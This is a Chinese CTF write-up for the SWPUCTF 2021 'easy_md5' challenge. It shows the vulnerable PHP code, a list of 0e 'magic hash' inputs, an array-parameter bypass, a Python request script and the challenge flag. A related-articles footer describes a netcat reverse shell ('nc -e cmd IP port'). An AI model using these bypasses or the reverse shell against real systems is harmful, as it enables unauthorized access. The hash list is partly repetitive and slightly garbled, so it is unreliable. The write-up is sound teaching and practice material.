[SWPUCTF 2021 新生赛]easy_md5

简介: [SWPUCTF 2021 新生赛]easy_md5

0×01 打开题目环境

内容如下
<?php
highlight_file(FILE);
include 'flag2.php';

if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }

}
else {
    echo 'wrong!';
}
?>
wrong!

其中重要代码是
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
&&左右两个条件都满足,意思是name的值不等于password,但是,md5值中让name的值和password的值相等,即可输出flag

0×02 进行解题 拿flag

  1. 使用0e开头的数字传递参数,PHP会将0e开头的数字转化为0,使MD5的值相等,但是变量的值不相等
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
    s214587387a
    0e848240448830537924465865611904
    s214587387a
    0e848240448830537924465865611904
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s1885207154a
    0e509367213418206700842008763514
    s1502113478a
    0e861580163291561247404381396064
    s1885207154a
    0e509367213418206700842008763514
    s1836677006a
    0e481036490867661113260034900752
    s155964671a
    0e342768416822451524974117254469
    s1184209335a
    0e072485820392773389523109082030
    s1665632922a
    0e731198061491163073197128363787
    s1502113478a
    0e861580163291561247404381396064
    s1836677006a
    0e481036490867661113260034900752
    s1091221200a
    0e940624217856561557816327384675
    s155964671a
    0e342768416822451524974117254469
    s1502113478a
    0e861580163291561247404381396064
    s155964671a
    0e342768416822451524974117254469
    s1665632922a
    0e731198061491163073197128363787
    s155964671a
    0e342768416822451524974117254469
    s1091221200a
    0e940624217856561557816327384675
    s1836677006a
    0e481036490867661113260034900752
    s1885207154a
    0e509367213418206700842008763514
    s532378020a
    0e220463095855511507588041205815
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s214587387a
    0e848240448830537924465865611904
    s1502113478a
    0e861580163291561247404381396064
    s1091221200a
    0e940624217856561557816327384675
    s1665632922a
    0e731198061491163073197128363787
    s1885207154a
    0e509367213418206700842008763514
    s1836677006a
    0e481036490867661113260034900752
    s1665632922a
    0e731198061491163073197128363787
    s878926199a
    0e545993274517709034328855841020
    240610708
    0e462097431906509019562988736854
    314282422
    0e数字参考连接:

     https://www.bbsmax.com/A/kmzLxxDYzG/
     (使用s开头!)
    

    例如
    name=s878926199a
    password=s155964671a
    传参
    flag=NSSCTF{b778dd89-aaac-4941-ad61-5a7c973938e5}

  2. 使用数组进行绕过,因为MD5不能加密数组,所以MD5的值都没NULL,满足了两变量MD5的值相同
    name[]=n
    password[]=n
    其中'n'为任意数字,都可以
    传参
    flag=NSSCTF{b778dd89-aaac-4941-ad61-5a7c973938e5}

  3. 通过python脚本
    import requests

    网站的URL

    url = "http://node2.anna.nssctf.cn:28014/"

    用get方法传递的name参数

    name = "s878926199a"

    用post方法传递的password参数

    password = "s155964671a"

    两个参数的md5值均以0e开头且后面的字符均为纯数字

    发送post和get请求,并获取响应对象

    response = requests.post(url, data={"password": password}, params={"name": name})

    打印响应的文本内容

    print(response.text)
    其中3方法可以结合1和2
    输出的response.text即为flag
    运行
    flag=NSSCTF{b778dd89-aaac-4941-ad61-5a7c973938e5}

目录
相关文章
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
1133 0
|
测试技术 程序员 C++
iOS:项目中无用类检测和无用图片检测汇总
在涉及到项目大改版,或者涉及到某个功能模块大变更,就会涉及到图片废弃和文件废弃的情况。 但是这时候就会遗留下一个很大的问题,没有将废弃的、无用的文件类或资源删除干净。而这次需要对工程代码的无用资源和无用文件进行删除处理,感触颇多,故在此笔记。 首先,感觉很多人的代码习惯还是恶待提高。比如我发现一些人的代码操作习惯,从好到次,可以大略分以下情况
1992 0
iOS:项目中无用类检测和无用图片检测汇总
|
Linux
BUU [安洵杯 2019]easy_web
BUU [安洵杯 2019]easy_web
632 0
|
SQL 数据库
BUUCTF sqltest 1
BUUCTF sqltest 1
1531 0
|
安全 网络协议 Linux
本文详细介绍了 Linux 系统中 ping 命令的使用方法和技巧,涵盖基本用法、高级用法、实际应用案例及注意事项。
本文详细介绍了 Linux 系统中 ping 命令的使用方法和技巧,涵盖基本用法、高级用法、实际应用案例及注意事项。通过掌握 ping 命令,读者可以轻松测试网络连通性、诊断网络问题并提升网络管理能力。
1779 3
|
网络协议 网络虚拟化 网络架构
单臂路由实现VLAN间路由
本文介绍了单臂路由实现VLAN间路由的配置方法,包括网络设备的IP配置、交换机的VLAN划分、路由器的子接口配置以及ARP广播的设置,并通过ping测试验证了配置的正确性。
单臂路由实现VLAN间路由
|
Java Spring
spring boot 中WebMvcConfigurer相关使用总结
spring boot 中WebMvcConfigurer相关使用总结
479 3
|
开发工具 数据安全/隐私保护 git
NSS [第五空间 2021]WebFTP
NSS [第五空间 2021]WebFTP
467 0
|
消息中间件 网络协议 网络架构
3. BGP 实验(一):基础实验
3. BGP 实验(一):基础实验